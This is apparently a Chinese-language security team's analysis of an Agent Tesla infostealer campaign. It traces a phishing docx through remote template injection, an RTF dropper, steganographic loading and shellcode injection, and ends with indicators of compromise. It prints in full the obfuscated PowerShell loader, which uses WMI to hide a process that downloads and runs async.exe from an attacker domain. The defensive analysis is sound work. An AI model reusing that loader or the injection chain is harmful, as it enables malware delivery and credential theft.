背景描述:
Agent Tesla为一款知名的商业窃密木马,自从2014年Agent Tesla被发现以来一直非常活跃,多个变种层出不穷,主要由.Net 编写,用于从失陷主机上窃取敏感信息,如剪贴板数据,键盘按键记录,能够从Web浏览器,电子邮件客户端和FTP服务器访问信息,屏幕截图等。
分析认为Agent Tesla间谍软件起源于土耳其,该恶意软件通过Vidar或IcedID等垃圾邮件活动广泛传播。它通常以恶意文档或通过恶意Web链接传递给受害者。访问此类链接后,受污染的文档将自动下载到受害者的PC上。
样本概述:
此次分析的样本初始载荷为一个docx文件,运行之后会通过远程模板注入执行目标rtf文件,其中嵌入了多个ole对象去利用vba指令执行powershell去远端下载名为async.exe的恶意软件,然后从资源文件中读取和加载后续恶意dll,攻击者采用隐写技术,将木马执行程序隐藏在图片资源中,dll主要功能为从图片资源中读取并且解密得到一段shellcode将其注入到AppLaunch.exe去执行,这段shellcode也就是最终的Agent Tesla核心功能。
执行流程:
样本分析:
初始载荷:
钓鱼文件名为波兰语项目分析的docx文件,打开后会连接远程服务器获取模板并注入,通过这样的方式可以规避对初始文件的检测
从word_rels文件夹的settings.xml.rels文件中找到了该word携带的恶意链接地址,从地址下载带后续rtf文档并且自动执行http://office-cloud-reserve.com/Projekt.rtf?raw=true
远程模板rtf:
打开Projekt.rtf文档,弹出宏安全检测,发现是嵌入了多个ole对象,而OLE对象的OOXML中包含混淆的powershell代码,使用oletools提取出来
cmd /c start /min powershell $Computer = '.';
$c = [WMICLASS]"""$computerrootcimv2:WIn32_Process""";
$f =[WMICLASS]"""$computerrootcimv2:Win32_ProcessStartup""";
$ty =$f.CreateInstance();
$ty.ShowWindow = 0;
$proc = $c.Create("""Powershell '(&(GCM *W-O*)Net.WebClient).DownloadFile(''http://office-cloud-reserve.com/async.exe'',''$env:APPDATA''async.exe'')'|IEX;
start-process('$env:APPDATA' + 'async.exe')""",$null,$ty)
通过WMI使用 “Win32_Process “类的 “Create “方法来创建一个新的进程执行下载后续的可执行文件http://office-cloud-reserve.com/async.exe
,$env:APPDATA
从环境变量里找到路径C:UsersAdminAppDataRoaming把文件保存在此
async.exe
拖进dnspy里,发现调用的主要处理函数是Myint函数,先通过Decrypt方法解密ArrayBytes内的数据,ArrayBytes为定义的硬编码,解码逻辑分为单双位,单位不变,双位-B,在内存中解码出大小为0xEA00的dll文件,
解密出来为ClassLibrary2.dll文件,同样是由c#编写
加载解码出来的dll
使用InvokeMethod反射调用ClassLibrary2.Program中的Main函数
classlibrary2.dll:
来到classlibrary2.dll的main函数处,接着往下跟,发现会从原始exe中加载其资源节中储存的图片
对加载的图片数据执行函数提取数据
待处理的数据:
对提取出来的数据使用0x20Bytes(ASE-256)大小的密钥以AES加密CBC模式,sha256等方式对数据进行解密处理
最终解密出0x48C00大小的ShellCode
shellcode注入AppLaunch.exe:
先是搜索拼接出AppLaunch.exe的绝对路径,获取句柄
反射调用函数,利用常规的注入方式将解密出来的shellcode远程线程注入进AppLaunch.exe并且执行,先是获取线程上下文
再读取内存空间
申请内存空间
写入内存空间
设置线程上下文
恢复线程
shellcode:
将这段注入的shellcode数据dump出来,文件编译时间是在2020年3月3日
其中的代码都经过混淆处理,还包含了大量的运算和跳转干扰检测和调试分析
直接查看调用结构大致分析一下
主要功能:
1. 获取用户名和电脑名:
2. 屏幕截图保存成jpg
3. 窃取登录凭证:
4. 从远端下载并执行文件:
5. 键盘记录器:
调用函数GetKeyboardState,GetKeyboardLayout,GetForegroundWindow等函数来实现了键盘记录器功能
消息回传方式:
Agent Tesla支持三种方式将窃取数据回传给攻击者,分别是FTP,HTTP,SMTP,先是将获取的信息保存为html文档,命名规则就按照pw_+自己的用户名+电脑名+时间,通过ftp的方式发出
http
ftp
smtp
溯源/关联分析:
通过搜索其使用的该远程注入的模板地址,可以关联到多个Agent Tesla的攻击活动,大部分集中在2020年3月,通过其他的分析文章可以明显发现带有恶意载荷,多篇相关报告攻击指向尼日利亚
伪装Office网站的域名自曝光起持续延用了一年多
iocs:
MD5 |
文件名 |
F8085AA3F8A6C09343AFFAAC16A88932 |
Analiza projektu.docx |
3994ddefda6ad4056710165f7861a4aa |
Projekt.rtf |
36E98367F322509D8EB3285D1FB1180A |
hydro.exe |
URL |
IP |
http://office-cloud-reserve.com/projekt.rtf?raw=true |
45.139.186.168 |
http://office-cloud-reserve.com/hydro.exe |
45.139.186.168 |
ftp.centredebeautenellycettier.fr |
109.234.162.66 |
总结:
样本分析中,发现攻击者使用了非常多的嵌套加载的技术,可以发现该款木马可以通过配置文件可以灵活的更改自身的功能,将窃取的数据回传服务器后,木马会删除自身,清理入侵痕迹。
随着时间的发展,其功能和规避检测的方式都会更加全面,需要多加注意来源不明的邮件。
参考:
《Office 高级威胁漏洞在野利用分析》 https://cert.360.cn/static/files/Office%E9%AB%98%E7%BA%A7%E5%A8%81%E8%83%81%E6%BC%8F%E6%B4%9E%E5%9C%A8%E9%87%8E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90.pdf
https://blog.qualys.com/vulnerabilities-threat-research/2022/02/02/catching-the-rat-called-agent-tesla
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):Agent Tesla窃密软件分析